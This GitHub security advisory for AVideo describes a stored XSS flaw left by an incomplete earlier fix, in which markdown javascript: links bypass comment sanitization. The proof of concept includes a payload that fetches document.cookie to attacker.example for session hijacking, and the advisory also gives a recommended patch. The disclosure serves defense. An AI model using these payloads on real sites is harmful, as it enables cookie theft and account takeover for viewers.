GHSA-72H5-39R7-R26J

Vulnerability from github – Published: 2026-03-20 20:56 – Updated: 2026-03-25 20:31
VLAI
Summary
AVideo - Incomplete Fix for CVE-2026-27568: Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization
Details

Summary

The fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom ParsedownSafeWithLinks class that sanitizes raw HTML <a> and <img> tags in comments, but explicitly disables Parsedown's safeMode. This creates a bypass: markdown link syntax [text](javascript:alert(1)) is processed by Parsedown's inlineLink() method, which does not go through the custom sanitizeATag() sanitization (that only handles raw HTML tags). With safeMode disabled, Parsedown's built-in javascript: URI filtering (sanitiseElement()/filterUnsafeUrlInAttribute()) is also inactive. An attacker can inject stored XSS via comment markdown links.

Details

The original fix (commit ade348ed6) enabled setSafeMode(true), which activated Parsedown's built-in URL scheme filtering. This was then replaced by commit f13587c59 with a custom approach that turned safeMode back off:

objects/functionsSecurity.php:442-446 — safeMode disabled:

function markDownToHTML($text) {
    $parsedown = new ParsedownSafeWithLinks();
    $parsedown->setSafeMode(false);   // line 445 — disables Parsedown's built-in javascript: filtering
    $parsedown->setMarkupEscaped(false);
    $html = $parsedown->text($text);

ParsedownSafeWithLinks (lines 349-440) overrides blockMarkup() and inlineMarkup() to sanitize raw HTML <a> tags via sanitizeATag(), which whitelist-checks the URL scheme:

// sanitizeATag() at line 360 — only allows http(s), mailto, /, #
if (preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $url)) {
    $href = ' href="' . htmlspecialchars($url, ENT_QUOTES) . '"';
}

However, this sanitization only runs for raw HTML <a> tags processed through inlineMarkup(). Markdown-syntax links ([text](url)) are handled by Parsedown's core inlineLink() method (vendor/erusev/parsedown/Parsedown.php:1258), which constructs an element array and passes it to element().

vendor/erusev/parsedown/Parsedown.php:1470-1475 — sanitiseElement only runs when safeMode is true:

protected function element(array $Element)
{
    if ($this->safeMode)        // false — so sanitiseElement() is never called
    {
        $Element = $this->sanitiseElement($Element);
    }

sanitiseElement() would have called filterUnsafeUrlInAttribute() which replaces : with %3A for non-whitelisted schemes like javascript:, but it is never invoked.

Data flow: 1. User posts comment containing [Click here](javascript:alert(document.cookie)) 2. xss_esc() applies htmlspecialchars() — no HTML special chars exist in the payload, stored unchanged 3. On retrieval, xss_esc_back() reverses encoding (no-op), then markDownToHTML() converts markdown to <a href="javascript:alert(document.cookie)">Click here</a> 4. Result stored in commentWithLinks (objects/comment.php:420) 5. Rendered directly in DOM via template at view/videoComments_template.php:15: <p>{commentWithLinks}</p>

PoC

  1. Log in as any user with comment permission
  2. Navigate to any video page
  3. Post a comment with the following markdown:
[Click here for more info](javascript:alert(document.cookie))
  1. The comment is saved and rendered. Any user viewing the video sees "Click here for more info" as a clickable link
  2. Clicking the link executes alert(document.cookie) in the victim's browser context

For session hijacking:

[See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie))

Impact

  • Session hijacking: Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover
  • Scope change (S:C): The XSS executes in the context of the viewing user's session, crossing the trust boundary from the attacker's low-privilege comment context
  • Persistence: The payload is stored in the database and triggers for every user who views the page and clicks the link
  • UI:R required: The victim must click the link, which limits the severity vs. auto-executing XSS

Recommended Fix

Override inlineLink() in ParsedownSafeWithLinks to apply URL scheme filtering to markdown-generated links:

class ParsedownSafeWithLinks extends Parsedown
{
    // ... existing code ...

    protected function inlineLink($Excerpt)
    {
        $Link = parent::inlineLink($Excerpt);

        if ($Link === null) {
            return null;
        }

        $href = $Link['element']['attributes']['href'] ?? '';

        // Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors
        if ($href !== '' && !preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $href)) {
            $Link['element']['attributes']['href'] = '';
        }

        return $Link;
    }
}

Alternatively, re-enable safeMode(true) and find a different approach to allow <a> and <img> tags (e.g., post-processing the safe output to re-inject whitelisted tags).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33500"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:56:52Z",
    "nvd_published_at": "2026-03-23T17:16:51Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `\u003ca\u003e` and `\u003cimg\u003e` tags in comments, but explicitly disables Parsedown\u0027s `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown\u0027s `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown\u0027s built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links.\n\n## Details\n\nThe original fix (commit `ade348ed6`) enabled `setSafeMode(true)`, which activated Parsedown\u0027s built-in URL scheme filtering. This was then replaced by commit `f13587c59` with a custom approach that turned safeMode back off:\n\n**`objects/functionsSecurity.php:442-446` \u2014 safeMode disabled:**\n```php\nfunction markDownToHTML($text) {\n    $parsedown = new ParsedownSafeWithLinks();\n    $parsedown-\u003esetSafeMode(false);   // line 445 \u2014 disables Parsedown\u0027s built-in javascript: filtering\n    $parsedown-\u003esetMarkupEscaped(false);\n    $html = $parsedown-\u003etext($text);\n```\n\n**`ParsedownSafeWithLinks` (lines 349-440)** overrides `blockMarkup()` and `inlineMarkup()` to sanitize raw HTML `\u003ca\u003e` tags via `sanitizeATag()`, which whitelist-checks the URL scheme:\n\n```php\n// sanitizeATag() at line 360 \u2014 only allows http(s), mailto, /, #\nif (preg_match(\u0027/^(https?:\\/\\/|mailto:|\\/|#)/i\u0027, $url)) {\n    $href = \u0027 href=\"\u0027 . htmlspecialchars($url, ENT_QUOTES) . \u0027\"\u0027;\n}\n```\n\nHowever, this sanitization only runs for **raw HTML** `\u003ca\u003e` tags processed through `inlineMarkup()`. Markdown-syntax links (`[text](url)`) are handled by Parsedown\u0027s core `inlineLink()` method (`vendor/erusev/parsedown/Parsedown.php:1258`), which constructs an element array and passes it to `element()`.\n\n**`vendor/erusev/parsedown/Parsedown.php:1470-1475` \u2014 sanitiseElement only runs when safeMode is true:**\n```php\nprotected function element(array $Element)\n{\n    if ($this-\u003esafeMode)        // false \u2014 so sanitiseElement() is never called\n    {\n        $Element = $this-\u003esanitiseElement($Element);\n    }\n```\n\n`sanitiseElement()` would have called `filterUnsafeUrlInAttribute()` which replaces `:` with `%3A` for non-whitelisted schemes like `javascript:`, but it is never invoked.\n\n**Data flow:**\n1. User posts comment containing `[Click here](javascript:alert(document.cookie))`\n2. `xss_esc()` applies `htmlspecialchars()` \u2014 no HTML special chars exist in the payload, stored unchanged\n3. On retrieval, `xss_esc_back()` reverses encoding (no-op), then `markDownToHTML()` converts markdown to `\u003ca href=\"javascript:alert(document.cookie)\"\u003eClick here\u003c/a\u003e`\n4. Result stored in `commentWithLinks` (`objects/comment.php:420`)\n5. Rendered directly in DOM via template at `view/videoComments_template.php:15`: `\u003cp\u003e{commentWithLinks}\u003c/p\u003e`\n\n## PoC\n\n1. Log in as any user with comment permission\n2. Navigate to any video page\n3. Post a comment with the following markdown:\n\n```\n[Click here for more info](javascript:alert(document.cookie))\n```\n\n4. The comment is saved and rendered. Any user viewing the video sees \"Click here for more info\" as a clickable link\n5. Clicking the link executes `alert(document.cookie)` in the victim\u0027s browser context\n\nFor session hijacking:\n```\n[See related video](javascript:fetch(\u0027https://attacker.example/steal?c=\u0027+document.cookie))\n```\n\n## Impact\n\n- **Session hijacking:** Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover\n- **Scope change (S:C):** The XSS executes in the context of the viewing user\u0027s session, crossing the trust boundary from the attacker\u0027s low-privilege comment context\n- **Persistence:** The payload is stored in the database and triggers for every user who views the page and clicks the link\n- **UI:R required:** The victim must click the link, which limits the severity vs. auto-executing XSS\n\n## Recommended Fix\n\nOverride `inlineLink()` in `ParsedownSafeWithLinks` to apply URL scheme filtering to markdown-generated links:\n\n```php\nclass ParsedownSafeWithLinks extends Parsedown\n{\n    // ... existing code ...\n\n    protected function inlineLink($Excerpt)\n    {\n        $Link = parent::inlineLink($Excerpt);\n\n        if ($Link === null) {\n            return null;\n        }\n\n        $href = $Link[\u0027element\u0027][\u0027attributes\u0027][\u0027href\u0027] ?? \u0027\u0027;\n\n        // Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors\n        if ($href !== \u0027\u0027 \u0026\u0026 !preg_match(\u0027/^(https?:\\/\\/|mailto:|\\/|#)/i\u0027, $href)) {\n            $Link[\u0027element\u0027][\u0027attributes\u0027][\u0027href\u0027] = \u0027\u0027;\n        }\n\n        return $Link;\n    }\n}\n```\n\nAlternatively, re-enable `safeMode(true)` and find a different approach to allow `\u003ca\u003e` and `\u003cimg\u003e` tags (e.g., post-processing the safe output to re-inject whitelisted tags).",
  "id": "GHSA-72h5-39r7-r26j",
  "modified": "2026-03-25T20:31:32Z",
  "published": "2026-03-20T20:56:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-72h5-39r7-r26j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33500"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/3ae02fa240939dbefc5949d64f05790fd25d728d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo - Incomplete Fix for CVE-2026-27568: Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…